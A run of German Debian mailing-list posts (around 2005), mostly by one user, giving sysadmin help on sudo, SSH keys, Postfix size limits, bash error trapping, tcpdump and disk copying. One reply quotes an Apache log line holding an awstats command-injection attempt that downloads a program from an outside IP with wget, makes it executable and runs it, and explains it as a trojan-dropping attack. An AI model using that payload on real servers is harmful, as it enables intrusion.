* Peter Schütt [EMAIL PROTECTED] wrote: ich (Debian Testing/Unstable) möchte mein Home mal auf DVDs sichern. Dazu hätte ich gerne ein Programm, daß mir alle Verzeichnisse baumartig mit dem jeweiligen Platzverbrauch anzeigt. Was kann man da nehmen? Du suchst 'durep'. Hat einen Modus für die Konsolen-Ansicht, kann aber auch HTML-Seiten produzieren. Etwas wie z.B. TreeSize unter Windows als GUI-Anwendung habe ich noch nicht verwendet. - sebastian
Re: shortcuts ?
* Daniel Kämtner [EMAIL PROTECTED] wrote: könntest Du mir erklären was TOFU bedeutet ? Ich kann damit nichts anfangen. http://de.wikipedia.org/wiki/TOFU Es ist deutlicher schwerer, Deine Antworten in den aktuellen Diskussionsfaden einzuordnen, wenn die Antwort lediglich über dem Rest der Mail(s) steht, auf die Du Dich beziehst. Eingebürgert hat sich das Inline-Quoting, bei dem man seine Antworten innerhalb der zitierten Vorgänger-Mail(s) einordnet. Details siehe obenstehender Wikipedia-Artikel. - sebastian
Bezugsquelle fü r alte Pakete aus sarge?
Hallo miteinander, ich habe hier ein Problem mit der aktuellen gzip-Version in sarge (1.3.5-10). Darin ist ein Patch eingeflossen (#308379), der ein theoretisches Sicherheits-Problem behebt, aber wiederum selbst ein neues Problem aufwirft (#314342). Unter dem neuen Problem leide ich wesentlich aktuer als unter dem vorherigen Sicherheits-Problem und diese Problem ist erst in Version 1.3.5-11 behoben, die aber wiederum nicht in sarge enthalten ist. *sigh* Jetzt stellen sich mir zwei Fragen: *) In erster Instanz wollte ich auf 1.3.5-9 downgraden. Wo bekomme ich denn das überhaupt noch her. Ich bin mir sicher, dass dergleichen schon öfter über die Liste gegeistert ist, ich finds aber aktuell einfach nicht ... Geschaut habe ich unter ftp://ftp.de.debian.org/debian/pool/main/g/gzip/ *) Warum fliesst prinzipiell 1.3.5-11 mit dem Fix für ein Problem wie in #314342 beschrieben nicht als Paket in sarge. zgrep ist de facto erstmal nicht nutzbar? Referenzen: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=308379 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=314342 - sebastian
Re: Bezugsquelle fü r alte Pakete aus sarge?
* Andreas Kroschel [EMAIL PROTECTED] wrote: * Sebastian Kayser: *) In erster Instanz wollte ich auf 1.3.5-9 downgraden. Wo bekomme ich denn das überhaupt noch her. Ich bin mir sicher, dass dergleichen schon öfter über die Liste gegeistert ist, ich finds aber aktuell einfach nicht ... Wenn Du die Versionsnummer so genau weißt, ist es eigentlich kein Problem: http://snapshot.debian.net/package/package/version Danke, das habe ich gesucht, Frage 1 beantwortet. Bleibt die Frage, ob es einen Grund gibt, weshalb 1.3.5-11 nicht den Weg in sarge gefunden hat. Da scheint aber momentan etwas durcheinander gekommen zu sein, das deb liegt unter http://snapshot.debian.net/package/gzip/1.3.5-10. Tatsache, eine Menge Links, die ins Leere zeigen. Danke für die direkte URL. - sebastian
Re: Bezugsquelle fü r alte Pakete aus sarge?
* Frank Küster [EMAIL PROTECTED] wrote: Sebastian Kayser [EMAIL PROTECTED] wrote: Danke, das habe ich gesucht, Frage 1 beantwortet. Bleibt die Frage, ob es einen Grund gibt, weshalb 1.3.5-11 nicht den Weg in sarge gefunden hat. Weil das halt nur ein nerviger Bug ist, aber keine Sicherheitslücke. So ist halt Debian stable - bug-to-bug kompatibel mit sich selber. Dann habe ich zwei Dinge gelernt: 1) Folgendes, sowie die genauen Umstände des Bugreports genau lesen ,-[ Developers Reference 5.5.1 ] | ... | Basically, a package should only be uploaded to stable if one of the | following happens: | | * a truly critical functionality problem | ^^ | ... `-- und lernen, mit kleinen Unannehmlichkeiten zu leben. Ich war der Meinung auf dem betroffenen System mit einer bash zu arbeiten, jedoch .. 2) Irgendein Hansel hat auf besagtem System die dash installiert und beim dpkg --configure großzügig die dash als /bin/sh verlinken lassen (mich aus dem Kreis der Verdächtigen nicht ausgeschlossen, dash kam wahrscheinlich als depend von apt-move mit). Mit #!/bin/sh als Interpreter für zgrep ging dass natürlich in die Hose. Aber es ist ja auch leicht zu lösen: # cp /bin/zgrep /usr/local/bin/zgrep # cd /usr/local/bin # patch $patch_aus_http://bugs.debian.org/314342 Die Behebung war nicht das Problem, Alternativen gab es ja mehrere. Die gewonnenen Erkenntnise bzgl. der Debian-Abläufe und -Anlaufstellen waren mir wichtig. Danke trotzdem. Nebenbei: http://bugs.debian.org/314342 ist kürzer als die von dir geposteten Links und funktioniert auch). Jepp, surfe ich auch so an, die Links kamen aus Bequemlichkeit per Copy Paste aus meinem Browser. - sebastian
Re: sudo für Dummys
* Peter Schütt [EMAIL PROTECTED] wrote: ich weiß zwar prinzipiell, was sudo ist (ausführen eines Befehls im Kontext eines anderen Benutzers), aber wie man das im Detail richtig einrichtet, weiß ich nicht. Bisher habe ich bei Bedarf in der Console immer su eingegeben und wenn ich fertig war exit. Für die Nutzung von qemu steht in /etc/qemu-ifup folgendes: #!/bin/sh sudo -p Password for $0: /sbin/ifconfig $1 172.20.0.1 Ich nehme mal an, daß das nur funktioniert, wenn sudo richtig konfiguriert ist. Richtig. Wenn ich jetzt in /etc/sudoers benutzerALL = (ALL) ALL einstelle, dann ist das doch ein ziemliches Sicherheitsrisiko, oder? Ja. Benutzer 'benutzer' darf per sudo mit den Rechten eines beliebigen Benutzers jedes beliebige Kommando ausführen. Wo finde ich sinnvolle Beispiele? Schaue Dir den Abschnitt EXAMPLES in der manpage zu sudoers an. Dort findest Du praxisnahe Beispiele. Evtl. noch ein paar Querchecks mit dem Rest der manpage und Du solltest in der Lage sein, eine sinnvolle sudo-Konfiguration zu erstellen. - sebastian
Re: sshd mag kein pub-key-auth mehr
* Andreas Pakulat [EMAIL PROTECTED] wrote: On 01.12.05 21:40:23, Wolf Wiegand wrote: Hallo! Andreas Pakulat wrote: musste vorhin einen meiner keys neu generieren (war bisher ohne PW, jetzt mit). [...] und nun kann ich als normaler User nicht mehr mittels -l root auf dem jeweils anderen Rechner einloggen mittels pub-key-auth. [...] Irgendwas im Log vom sshd/im Syslog? In auth.log steht nichts auch mit LogLevel VERBOSE nicht. Meinst Du nichts wie überhaupt nichts oder nichts wie nichts Relevantes? ;) Üblicherweise haben solche Pubkey-Probleme mit zu offenen Berechtigungen der authorized_keys bzw. von ~/.ssh zu tun. Sobald dort Schreibberechtigungen für die Gruppe drauf sitzen, weigert sich sshd Pubkey-Authentifizierung zu fahren. Insofern Du also im Zuge Deiner Neugenerierung von Schlüsseln (so ganz kapiert, was Du jetzt genau wo erneuert hast, habe ich noch nicht) mit einer zu losen umask entweder ~/.ssh oder authorized_keys neu angelegt hast, mag das evtl. der Quell Deines Problems sein. Wenn ich mich recht entsinne würde das aber mit einer entsprechenden Meldung in auth.log quittiert (bad ownership o.ä.). - sebastian
Re: sshd mag kein pub-key-auth mehr
* Simon Neumeister [EMAIL PROTECTED] wrote: Am Donnerstag, 1. Dezember 2005 22:16 schrieb Ingo Juergensmann: On Thu, Dec 01, 2005 at 10:07:38PM +0100, Andreas Pakulat wrote: Irgendwas im Log vom sshd/im Syslog? In auth.log steht nichts auch mit LogLevel VERBOSE nicht. Die Permissions von ~/.ssh/authorized_keys stimmen auch? Die Rechte müssen auf 0700 für ~/.ssh/ gesetzt sein, sonst wirst du nach dem Passwort gefragt. Mhhh, bei mir funktioniert ebenso 0755, 0500, 0555, 0100, ... (suid, sgid und sticky habe ich mir jetzt mal gespart). Du meinst wohl eher, es dürfen keine Schreibberechtigungen für g und o existieren?! SCNR ;) - sebastian
Re: sshd mag kein pub-key-auth mehr
* Andreas Pakulat [EMAIL PROTECTED] wrote: On 01.12.05 22:16:43, Ingo Juergensmann wrote: On Thu, Dec 01, 2005 at 10:07:38PM +0100, Andreas Pakulat wrote: Irgendwas im Log vom sshd/im Syslog? In auth.log steht nichts auch mit LogLevel VERBOSE nicht. Siehst Du sprechendere Ausgaben des sshd, wenn Du diesen manuell mit -Dd (steigerbar bis -Dddd) startest und dann einen Connect durchführst? Die Permissions von ~/.ssh/authorized_keys stimmen auch? Die war bei alle 644, sprich daran stoert sich ssh wohl nicht. Jedenfalls gehts auch mit 600 nicht. Sprich, sowohl ~/.ssh als auch ~/.ssh/authorized keys passen berechtigungstechnisch? - sebastian
Re: sudo für Dummys
* Christian Frommeyer [EMAIL PROTECTED] wrote: Am Donnerstag 01 Dezember 2005 22:18 schrieb Matthias Taube: Dort kannst Du z.B. mittels peterALL=(root) NOPASSWD:/usr/sbin/exim4 -DOUTGOING -qff ^^^ Gibt es einen Grund da nicht localhost zu verwenden? Ich denke in dem Fall ist es eher Bequemlichkeit bzw. aus einem HowTo entsprungen, welches sicherheitshalber für die Host_List ALL verwendet, damits auch per CopyPaste bei jedem Leser funktioniert. Aber interessehalber habe ich das eben kurz getestet. Bei mir funktioniert entweder nur mein wirklicher Hostname (wie von hostname zurückgegeben) oder die IP, mit der der mein Hostname in /etc/hosts verknüpft ist. 'localhost' bzw. '127.0.0.1' funktionieren nicht. Ich schätze localhost wäre synonym mit ALL. - sebastian
Re: Traffic dynamisch limitieren
* Pascal Tritten [EMAIL PROTECTED] wrote: Ich habe folgendes Problem: Mein Kunde hat eine 2Mbit Anbindung ans Internet. Nebst einigen Windows Web- und sonstigen Servern stehen in seinem Netz auch zwei Debian-Server die u.a. FTP anbieten. Er möchte nun v.a. den FTP-Traffic auf den zwei Debian-Servern limitieren, wenn die Auslastung seiner Anbindung gegen 100% geht, da er sonst Penalties bezahlen muss. Ich habe mich nun schon etwas mit tc (auf lartc.org) auseinandergesetzt und auch Google befragt, doch irgendwie habe ich noch keine Lösung für mein Problem gefunden, da dies alles nur immer eine Maschine betrifft. Gibt es überhaupt eine Möglichkeit, dynamisch den Traffic zu limitieren, abhängig von snmp-Informationen die vom Router kommen? Wenn ja, kann mir jemand ein paar Anhaltspunkte geben? Insofern der Traffic der beiden FTP-Server wiederum über einen zentralen Linux-Server ins Internet geht, kann ich mir vorstellen, dass Du dort der Auslastung auch für zwei gesonderte Hosts mit tc beikommst. Habe ich selbst jedoch noch nicht gemacht. Wenns auch ein paar Euro kosten darf, schau Dir mal http://www.packeteer.com/ an. Die haben eine Appliance (PacketShaper), über die Du obige Anforderung und noch viel mehr abdecken kannst. Das Teil wird dann zwischen Firewall und Provider-Router geklemmt und erledigt das Bandbreiten-Management (d.h. Monitoring und Reglementierung) für jeglichen Internet-Traffic. - sebastian
Re: login, pam, ldap und anderes
* Uwe Laverenz [EMAIL PROTECTED] wrote: On Wed, Nov 30, 2005 at 04:13:56PM +0100, Michelle Konzack wrote: [...] Ich verwende zur authentifizierung pam_pgsql und alle infos habe ich bereits in meiner PostgreSQL in den Tabellen auth, userinfo. Also es geht mit jetzt nur noch, wie ich das Problem mit der UID, GID, GECOS, $HOME und $SHELL sowie der Gruppen lösen kann. $ apt-cache show libnss-pgsql1 Allerdings weiss ich nicht, wie gut das funktioniert. Gerade diese Anfragen (uid, gid, ...) sind sehr häufig und damit teuer. Ich kann mir vorstellen, dass eine Lösung mit PostgreSQL nicht so toll skaliert. In Sachen teuere Anfragen, hilft nscd nach. Selbst beim Einsatz von LDAP kann/sollte man darüber nachdenken. ,-[ apt-cache show nscd ] | ... | Description: GNU C Library: Name Service Cache Daemon | A daemon which handles passwd, group and host lookups | for running programs and caches the results for the next | query. You should install this package only if you use | slow Services like LDAP, NIS or NIS+ | ... `-- - sebastian
Re: polling mit der bash
* Michael Will [EMAIL PROTECTED] wrote: wie kann ich es mit der Bash bewerkstelligen, dass sobald eine bestimmte Datei verändert wurde, ein Vorgang ausgelöst wird? Ich dachte mir das als ein ständig laufendes Bashskript, welches in einer Endlosschleife die betreffende Datei auf Veränderung überprüft. Was genau willst Du denn machen? Liegt die Datei alleine in einem Verzeichnis bzw. kannst Du Sie alleine in ein Verzeichnis legen, dann schaue Dir mal dnotify an. ,-[ apt-cache show dnotify ] | ... | Description: Execute a command when the contents of a directory change | dnotify is a simple program based on Linux kernel 2.4.19+'s dnotify | API. | ... `-- while true; do zeitstempel=`date +%s` aenderung=`find . -maxdepth 1 -name datei.xy -printf '%C@'` differenz=`echo $zeitstempel-$aenderung|bc` if [$differenz -le 2 ] then hier kommt die eigentliche Aktion! fi sleep 1 done Selbst falls die Datei nicht einzeln in einem Verzeichnis liegt, lässt sich durch eine Kombination Deines Skriptes und dnotify zumindest das ständig laufende find vermeiden. - sebastian
Re: Firefox und MTA
* Martin D. [EMAIL PROTECTED] wrote: wie bringe ich denn meinem Firefox bloss bei, als MTA nicht evolution, sondern Thunderbird zu auf zu rufen? Gebe about:config in die Adresszeile ein und a) filtere auf Parameter mit mail b) schmeisse dann google an. Dabei findest Du dann (u.a.) a) network.protocol-handler.external.mailto b) http://internet.newsforge.com/article.pl?sid=05/05/26/1525248tid=144 bzw. http://gentoo-wiki.com/TIP_Integrate_Thunderbird_and_Firefox - sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Postfix - Message too Large 552
* Oliver Stephan [EMAIL PROTECTED] wrote: ich habe nach dem Tutorial von workaround.org (isp/Sarge) einen Mailserver aufgesetzt, er funktioniert Prächtig bis auf das ich jetzt versucht habe eine (Legale) mp3 an eines meiner eingetragenen User zu schicken. Größe ist knapp 8,5MB. Normale Textmails bereiten mir keine Probleme, aber anscheinend größere Dateien schon, sehe leider in der /var/log/mail.err und mail.log da keine Hinweise, nur die die GMX mir schickt als delivery failure.. D.h. Du schickst Du per GMX eine Mail an einen Deiner User?! Habt Ihr irgendwelche Ideen was das Verursachen könnte, habe die Logs und google durchforstet, aber bin nicht Fündig geworden. Anbei - Meldung von GMX (verfremdet) - postconf -n ___ Hi. This is the qmail-send program at mail.gmx.net. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. [EMAIL PROTECTED]: xx.xxx.xx.xxx_failed_after_I_sent_the_message./Remote_host_said:_552_Error:_message_too_large/ Da stehts doch. GMX konnte die Mail nicht beim Mailserver abliefern, an den die Mail gehen sollte, weil Deine Mail diesem offensichtlich zu groß war/ist (message_too_large). Ist example.org nun die Domain, die auf Deinem konfigurierten Mailserver liegt? Wenn ja, dann betrachte Dir mal den Postfix-Parameter für die maximale Mailgröße (message_size_limit). Der steht im Default auf ~10MB und Deine 8,5MB-MP3 kommt mit der für die Übertragung benötigten Base64-Kodierung auf etwas mehr als 11MB. Tu Dir und uns einen Gefallen und lasse die Anonymisierung weg, dann ist alles ein wenig einfacher. - sebastian
Re: Postfix - Message too Large 552
* Oliver Stephan [EMAIL PROTECTED] wrote: Der message_size_limit wert ist auf =0, dachte das wäre dann unbegrenzt Kann es sein das ich das mit mailbox_size_limit (siehe postconf -n) verwechselt habe.. denn wie ich gerade Sehe hab ich kein message_size_limit definiert.. Japp. Beides hat seinen Sinn/Zweck, aber Dein Problem ist aktuell das message_size_limit. - sebastian
Re: Installation vortä uschen
* Jim Knuth [EMAIL PROTECTED] wrote: wie kann man denn folgendes machen? Bei mir war Apache 1.3.33 vorinstalliert, aber nicht als Debian Paket. Jetzt will ich aber Apache auf HOLD setzen. Das geht aber nicht. Kann man eine Installation vortäuschen, dass man das Paket aber nicht wirklich installiert? Und dann HOLD machen kann. Danke für jeden Tipp. Das Paket equivs sollte Dir weiterhelfen. apt-cache show equivs - sebastian
Re: resolv.conf/search list wird geändert
* Christian Lox [EMAIL PROTECTED] wrote: Ich habe auf einer Kiste (einem 11 Rootserver) folgendes Problem: Regelmässig (ich vermute einen Cronjob, kann ihn aber nicht ausfindig machen) wird die searchlist in der resolv.conf geändert. Meine Einträge werden überschrieben, stattdessen taucht da dann pureserver.info auf. Das hat natürlich diverse Nebenwirkungen... :) Weiss jemand wo das herkommt? Der dhclient scheint es nicht zu sein. Habe keinen 11 Rootserver, daher keine Ahnung was dort definitiv vonstatten geht. Zwei Ansatzpunkte: *) Installieren Dir acct fürs Process-Accounting und wenn die Datei mal wieder geändert wurde, prüfe die Accounting-Daten auf den Zeitpunkt, an dem die Änderung stattfand (per lastcomm). *) Die harte Tour. Setze per chattr +i /etc/resolv.conf das Immutable-Bit auf die betroffene Datei, dann kann daran nichts mehr geändert werden (auch nicht von root, insofern er das Bit nicht vorher wieder aufhebt). - sebastian
Re: dd und HDD Fehler
* Markus Bulling [EMAIL PROTECTED] wrote: Hatte auf einer 40er Maxtor schon länger Fehler beim fsck, die sich vor ein paar Tagen gehäuft haben. Ich habe daraufhin vorgestern einfach ein dd if=/dev/altePlatte of=/dev/neuePlatte gemacht. Vor 10 Minuten gab's aber auch von der neuen Platte bei fsck.ext3 jede Menge Meldungen: /dev/hda3: stelle das Journal wieder her /dev/hda3 enthält ein fehlerhaftes Dateisystem, Prüfung erzwungen. Durchgang 1: Prüfe Inodes, Blocks, und Größen Inodes, die Teile einer defekten Liste mit verwaisten Links waren. Reparierej? ja Inode 1312197 war Teil der orphaned Inode Liste. REPARIERT. Gelöscht Inode 1312633 hat zero dtime. Reparierej? ja Inode 1313080 war Teil der orphaned Inode Liste. REPARIERT. Inode 1313119 war Teil der orphaned Inode Liste. REPARIERT. [...] Durchgang 5: Überprüfe Gruppe Zusammenfassung Block Bitmap differieren: +1433262 -2621975 -2623209 -(2625239--2625244) -2625246 -(2634278--2634280) -2640134 -2640316 [...] Freie Blocks Anzahl ist falsch Gruppe #80 (116, counted=135). Reparierej? ja [...] Inode Bitmap differieren: -1312197 -1312633 -1313080 -1313119 -1313145 -1313147 -1313298 -1313476 -1313492 -1313495 -(1736706--1736708) -1736761 Reparierej? ja [...] Kopiert dd etwa auch fehlerhafte Blocks, oder ist die neue Platte auch schon im Eimer?? Falls Dein _Dateisystem_ auf der alten Platte schon Probleme hatte, dann sind diese mit dd auch auf der neuen Platte gelandet. Die physikalischen Blöcke dort mögen also vollkommen in Ordnung sein, das Dateisystem selbst hast Du mit dd aber 1:1 rübergeholt. Besser: Neue Platte partitionieren, formatieren und Daten per tar/rsync kopieren. Dann hast Du 'nen frisches Dateisystem ohne Probleme. - sebastian
Bash: Fehler auch übe r Pipes hinweg abfangen
Hallo mitnander, ich baue gerade ein Bash-Skript, in dem ich Fehler von im Skript aufgerufenen Kommandos abfangen möchte. Aktuell habe ich das mit trap global realisiert (also ohne jeden einzelnen Rückgabewert individuell zu prüfen). Errorhandling im Bash-Skript function trap_error { echo Error: Subcommand returned non-zero return value: $? exit 1 } trap trap_error ERR /Errorhandling Das funktioniert auch schön für alleinstehende Kommandos $ tail -2 trap.sh ./kommando_gibts_net echo foo $ ./trap.sh ./trap.sh: line 10: ./kommando_gibts_net: No such file or directory Subcommand returned non zero status: 127 Der Fehler wird abgefangen und das Skript nicht weiter ausgeführt, soweit so gut. Sobald ich jedoch ein aufzurufendes Kommando in eine Pipe packe, klappt das schon nicht mehr. Der Fehler wird nicht mehr abgefangen. $ tail -2 trap.sh ./kommando_gibts_net | cat echo foo $ ./trap.sh ./trap.sh: line 10: ./kommando_gibts_net: No such file or directory foo Gibt es eine Möglichkeit Fehler von aufgerufenen Kommandos trotz der Verwendung von Pipes mittels trap oder etwas Ähnlichem abzufangen? - sebastian
Re: Bash: Fehler auch übe r Pipes hinweg abfangen
* Frank Küster [EMAIL PROTECTED] wrote: Sebastian Kayser [EMAIL PROTECTED] wrote: Gibt es eine Möglichkeit Fehler von aufgerufenen Kommandos trotz der Verwendung von Pipes mittels trap oder etwas Ähnlichem abzufangen? , set -e | Exit immediately if a simple command (see SHELL GRAMMAR above) exits | with a non-zero status. The shell does not exit if the command that | fails is part of an until or while loop, part of an if statement, part | of a or || list, or if the command's return value is being inverted | via !. A trap on ERR, if set, is executed before the shell exits. ` Ich hab' grad noch überlegt, ob ich hinterherschicken soll, dass ich das auch probiert hatte (nachdem ich ja kürzlich hier über das set -e aufgeklärt wurde). Funktioniert leider nicht. $ cat trap.sh #!/bin/bash set -e function trap_error { echo Subcommand returned non zero status: $? exit 2 } trap trap_error ERR ./kommando_gibts_net | cat echo foo $ ./trap.sh ./trap.sh: line 11: ./kommando_gibts_net: No such file or directory foo Auch hiermit wird echo foo noch ausgeführt. Den trap-Aufruf hatte ich testweise auch auskommentiert, selbes Problem. Jegliche weitere Ideen sind gerne gesehen. - sebastian P.S.: Hat jemand ein mutt-Macro für einen schönen Inline-Kasten ähnlich dem, in den Frank das set -e gesetzt hast?!
Re: Bash: Fehler auch übe r Pipes hinweg abfangen
* Andreas Pakulat [EMAIL PROTECTED] wrote: On 21.11.05 14:53:45, Sebastian Kayser wrote: * Frank Küster [EMAIL PROTECTED] wrote: , set -e | Exit immediately if a simple command (see SHELL GRAMMAR above) exits | with a non-zero status. The shell does not exit if the command that | fails is part of an until or while loop, part of an if statement, part | of a or || list, or if the command's return value is being inverted | via !. A trap on ERR, if set, is executed before the shell exits. ` P.S.: Hat jemand ein mutt-Macro für einen schönen Inline-Kasten ähnlich dem, in den Frank das set -e gesetzt hast?! Das hat nichts mit mutt zu tun sondern wird vom Editor erzeugt, fuer vim gibts dazu boxquote.vim. Aber ich glaube nicht als Debian-Paket, musst mal nach boxquote googlen. Die .vim-Datei einfach unter $HOME/.vim/plugin ablegen und mittel Bq oder Bqf nutzen. Perfekt, danke. Fündig geworden bin ich per vim textbox auf groups.google.de und habe nun eine leicht abgewandelte Variante eines Mappings von dort im Einsatz (boxquote.vim habe ich nicht gefunden). vmap bx s, CR`ESCPv`]:s/^/\| /CR'[k$i Ist optisch zwar etwas kryptisch, aber funktioniert bestens. Jetzt fehlt mir nur noch ein Tip wegen der Pipe-Fehlerbehandlung, dann bin ich glücklich ;) - sebastian
Re: [OT] HTML lib für C++
* Andreas Pakulat [EMAIL PROTECTED] wrote: ich suche eine in debian unstable verfuegbare Library die es erlaubt HTML zu behandeln (ich geb HTML zu futtern und kannn dann nach bestimmten Tags suchen, deren Inhalt auslesen usw.) Auch wenns keine direkte Antwort auf Deine Frage ist (denn mit einer c++-Library kann ich nicht dienen), schaue Dir doch mal sgrep an. Damit kannst Du aus strukturierten Texten (HTML, SGML, XML, ...) Inhalte extrahieren. Evtl. findet sich dort etwas, was Du verwenden kannst (das Programm selbst oder aber Anleihen im Sourcecode). - sebastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Apache access.log
* Harald Tobias [EMAIL PROTECTED] wrote: ich bitte mal wieder um Rat. Nachdem mein Webserver nun läuft, dank eurer Hilfe wg. ddclient, habe ich in der access.log jede Menge Einträge die ich nicht verstehe. Erst mal weiß ich gar nicht wieso ich so viele (Hunderte täglich) Zugriffe habe, denn die DynDNS-Domain ist nur 4 Personen bekannt. Das sind völlig wahllose Zugriff auf offene HTTP-Ports in Dial-Up-Addressbereichen. Hat also nichts mit Deiner DynDNS-Domain zu tun. Laut Whois habe ich aber Zugriffe aus Deutschland, China, Japan, Italien, Spanien, Frankreich und weiteren Ländern. Sind dort Hacker beim ausprobieren oder was passiert da? Richtig. Wenn ich die Einträge richtig deute, wird häufig versucht auf Dateien und Verzeichnisse zuzugreifen, die jedoch gar nicht existieren. Beispiele: 82.234.215.180 - - [15/Nov/2005:03:31:35 +0100] GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1 404 288 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;) Es wird versucht, über awstats - welches in letzter Zeit einige Exploits hatte - böse Sachen zu treiben. Ich kenn den Exploit nicht im Detail, aber es werden Kommandos eingeschleust, die einen Trojaner nachziehen und starten. Da Du kein awstats installiert hast, kannst Du das beruhigt ignorieren. 82.83.223.39 - - [15/Nov/2005:09:23:05 +0100] OPTIONS / HTTP/1.1 200 1304 - Microsoft-WebDAV-MiniRedir/5.1.2600 82.251.49.61 - - [15/Nov/2005:12:19:01 +0100] GET / HTTP/1.0 200 1292 - - 82.253.228.245 - - [15/Nov/2005:12:31:17 +0100] OPTIONS / HTTP/1.1 200 1304 - Microsoft-WebDAV-MiniRedir/5.1.2600 Keine Ahnung, da greift eine Anwendung zu, die sich als Microsoft-WebDAV-MiniRedir/5.1.2600 ausgibt und die verfügbaren Optionen (Operationen) Deines Webserver abquizt. Auf meinem Server laufen zwei Anwendungen, die auch nur für einen sehr begrenzten Personenkreis zugänglich sind. Versucht im ersten Beispiel evtl. jemand Rechte zu verändern? Ja, aber keine Rechte von existierenden Dateien sondern die vom nachzuziehenden Trojaner (der bei Dir erst garnicht den Weg auf die Festplatte findet, da Du ja kein awstat installiert hast, über das sich ungewollterweise die Befehle einschleusen lassen können). - sebastian
Re: Favoriten/Lesezeichen zentral auf (eigenem) Server im Inet ablegen?
* Matthias Haegele [EMAIL PROTECTED] wrote: Hätte gern meine Browser-Favoriten-Lesezeichen-Bookmarks (Mozilla-Firefox) zentral zum möglichst (automatischen) Abgleich/Import unter Win/*nix auf einem (Debian) Server: Gibt es irgendwelche Programme etc. mit denen ich das erreichen könnte Bzw. hat jemand einen Link/Howto hierzu?. Schau Dir mal sitebar (http://sitebar.org) an. - sebastian
Re: Hallo Liste
* Roland M. Kruggel [EMAIL PROTECTED] wrote: Ich habe hier ein Programm das mit einer etwas exotischen Datenbank über TCP-Port 3330 kommuniziert. Ich muss herrausfinden welche Daten dort ausgetauscht werden. Ich habe es mit etheral und tcpdump probiert. Allerdings mit wenig Erfolg. Ich komme mit den Parametern nicht wirklich zu recht. Kann mir jemand mal bitte vernünfitige parameter sagen die mit den datenfluss ausgeben? Mit tcpdump mitlesen tcpdump -s 1500 -w dumpfile host deine ip and port 3330 und dann per ethereal dumpfile laden. Geht auch nur mit ethereal, wenn Du dort den capture filter auf host deine ip and port 3330 setzt. Alternativ verwende ich für ASCII-Datenstreams tcpflow. apt-get install tcpflow tcpflow -c host deine ip and port 3330 | less Deine Datenbankkommunikation wird aber wohl kaum per ASCII erfolgen. - sebastian
Re: Hallo Liste
* BoomX [EMAIL PROTECTED] wrote: ^^ Realname erwünscht. PM unerwünscht, ich lese die Liste. Am Freitag, den 18.11.2005, 12:24 +0100 schrieb Sebastian Kayser: Mit tcpdump mitlesen tcpdump -s 1500 -w dumpfile host deine ip and port 3330 und dann per ethereal dumpfile laden. Geht auch nur mit ethereal, wenn Du dort den capture filter auf host deine ip and port 3330 setzt. Alternativ verwende ich für ASCII-Datenstreams tcpflow. apt-get install tcpflow tcpflow -c host deine ip and port 3330 | less Deine Datenbankkommunikation wird aber wohl kaum per ASCII erfolgen. gibt es auch einen möglichkeit sowas in echtzeit in der console anzuzeigen? Was genau willst Du denn in Echtzeit sehen?! tcpflow gibt Dir das mittels -c bereits die Payload auf der Konsole aus (macht natürlich nur für ASCII-Payload Sinn). Habe gerade gesehen, dass das mit tcpdump und der Option -A ebenso funktioniert. - sebastian
Re: Dateinamen von Groß - in Kleinschreibung umwandeln
* [EMAIL PROTECTED] [EMAIL PROTECTED] wrote: ich habe von einer CD einige Dateien, die groß geschrieben sind. IMG_0001.JPG, usw. Wie konvertiere ich die bei mir in Kleinschreibung (img_0001.jpg, usw.)? Das geht doch sicherlich irgendwie automatisch, oder? Ich habe Debian Etch. Installiere Dir mmv und führe im Verzeichnis der umzuwandelnden Dateien mmv * #l1 aus. Wandelt alle Dateinamen in lower-case um. - sebastian
Re: Antivirus für Server /Desktop (F-Pro t vs. H+B Antivir vs. McAfee vs. Bitdefender vs. ??)
* Christian Schmidt [EMAIL PROTECTED] wrote: Matthias Tinnemeier, 15.11.2005 (d.m.y): Ich betreue einen Mittelständler dessen Virenschutz derzeit eher unausreichend ist. Es geht konkret um ca. 30 Windowsclients (von 98 bis XP Pro alles vertreten) und etwa 10 Linuxserver (SuSE und Debian Sarge). Konkret geschützt werden sollen Sambaserver, ein Gateway über Squid und ein Postfix-MTA und die Windows-Clients. Es wäre schön, wenn die Clients sich intern zentral von einem der Server automatisch updaten könnten und Updates für 3 Jahre inbegriffen wären. An der Uni haben wir eine Campus-Lizenz von Sophos und sind damit auch recht zufrieden. Es gibt Pakete fuer zig Plattformen, die Updates fuer Win-Rechner verteilen wir mittels des Sophos Enterprise Managers, Unix-Maschinen beziehen die aktualisierten Signaturen mittels wget, die Engine-Updates (1x pro Monat) muss man aber manuell einspielen. Für Sophos auf Unix- und Linux-Plattformen gibt es in Kombination mit dem Enterprise Manager auch die elegantere Art per eminstall.sh. Siehe: http://www.sophos.com/support/knowledgebase/article/2193.html Updatet alles. Das Handling ist zwar immer noch nicht in den EM integriert, aber zumindest fällt das manuelle Einspielen der neuen Engine-Versionen weg. - sebastian
Re: Logrotation mit selbsd efinierten Dateinendungen möglich?
